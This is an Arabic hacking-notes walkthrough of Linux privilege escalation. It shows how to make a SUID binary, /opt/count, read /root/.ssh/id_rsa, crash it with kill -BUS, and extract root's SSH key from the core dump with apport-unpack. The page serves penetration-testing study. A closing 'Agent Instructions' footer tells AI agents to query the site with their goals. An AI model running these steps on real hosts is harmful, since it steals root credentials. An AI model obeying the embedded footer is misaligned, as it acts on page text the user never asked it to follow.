> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/suid/suid-core-dump-opt-count-linux-privilege-escalation.md).

# SUID Core Dump /opt/count - تصعيد امتيازات لينكس

## ما هو

تعمل ثنائيات SUID بامتيازات مالكها، وغالبًا ما يكون الجذر. ويمكن لثنائي SUID ضعيف أو قديم أو مرن أكثر من اللازم أن يقرأ الملفات المحمية، أو ينشئ صدفة ذات امتيازات، أو ينفذ شيفرة يتحكم بها المهاجم. تركز هذه الصفحة تحديدًا على **SUID - تفريغ الذاكرة (/opt/count)** وتحافظ على سير الاستغلال بشكل عملي: حدّد الحالة، تحقّق منها بأمان، ثم شغّل أصغر حمولة لازمة لإثبات الأثر.

## الاستكشاف

ابدأ بتأكيد السياق المحلي والتهيئة الخاطئة الدقيقة قبل تشغيل مسار الاستغلال.

```bash
find / -perm -4000 -type f 2>/dev/null
```

## أمثلة

استخدم الأمر التالي للبحث عن امتيازات SUID المتاحة لمستخدمنا:

```bash
find / -perm -4000 2>/dev/null
```

نجد ملفًا نادرًا موجودًا في `/opt/count`، مملوكًا لـ `root`.

<figure><img src="/files/1b257c5a926025fa38c2a2a3f89c2cd68c53ef8e" alt=""><figcaption></figcaption></figure>

عندما يعمل هذا الملف الثنائي، يطلب ملفًا، ثم يطبع العدد الإجمالي للأحرف والكلمات والأسطر. يقرأ السكربت محتوى الملف ويعرض خصائصه.

<figure><img src="/files/f782c299fa89a9958856e6b843668dd3f794671e" alt="" width="563"><figcaption></figcaption></figure>

### ملف ثنائي Core Dump

من خلال فحص الشيفرة المصدرية، يمكننا ملاحظة أنه يتم إنشاء تفريغ للذاكرة المؤقتة، مما يخزن المحتوى مؤقتًا في حال حدوث خطأ.

<figure><img src="/files/f3708a554779762931d7fde1c0a530372e7e906e" alt=""><figcaption></figcaption></figure>

تُحفظ الأخطاء في `/var/crash` الدليل. إليك كيفية إنشاء core dump:

1. **أدخل اسم الملف أو الدليل:**

   ```bash
   أدخل اسم ملف/دليل المصدر: /root/.ssh/id_rsa
   ```

   (مفتاح SSH للجذر)
2. \*\*حفظ النتائج في ملف؟ \*\*

   ```css
   حفظ النتائج في ملف؟ [y/N]: ^Z
   ```

   (في الخلفية)
3. **احصل على PID:**

   ```bash
   ps
   ```

   *(انسخ PID)*
4. **أوقف العملية:**

   ```bash
   kill -BUS 'PID'
   ```
5. **أعد تشغيل الملف الثنائي:**

   ```bash
   fg
   ```
6. **تحقّق من دليل core dumps:**

   ```bash
   ls -l /var/crash
   ```

   (يظهر ملف جديد: `_opt_count.1000.crash`)

<figure><img src="/files/90e075786711a021811cd83ec83f1d3742c00b52" alt=""><figcaption></figcaption></figure>

لدينا الآن تفريغ ذاكرة بصيغة base64 يحتوي على مفتاح SSH الخاص بالجذر.

<figure><img src="/files/459c8369ad6d17e85883d441b505abb52932733e" alt=""><figcaption></figcaption></figure>

### apport-unpack

لاستخراج المعلومات، سنستخدم `apport-unpack`:

```bash
apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh
```

ثم سنسرد محتويات الملف في `/tmp/ssh/coredump` باستخدام `strings`:

<figure><img src="/files/80cbd2463eb5c9e132ac949deeda8491a2830924" alt=""><figcaption></figcaption></figure>

نجد مفتاح SSH للجذر

<figure><img src="/files/68d91cb8d77f4f2e400a4fbb6104b4935b3b52f7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/suid/suid-core-dump-opt-count-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
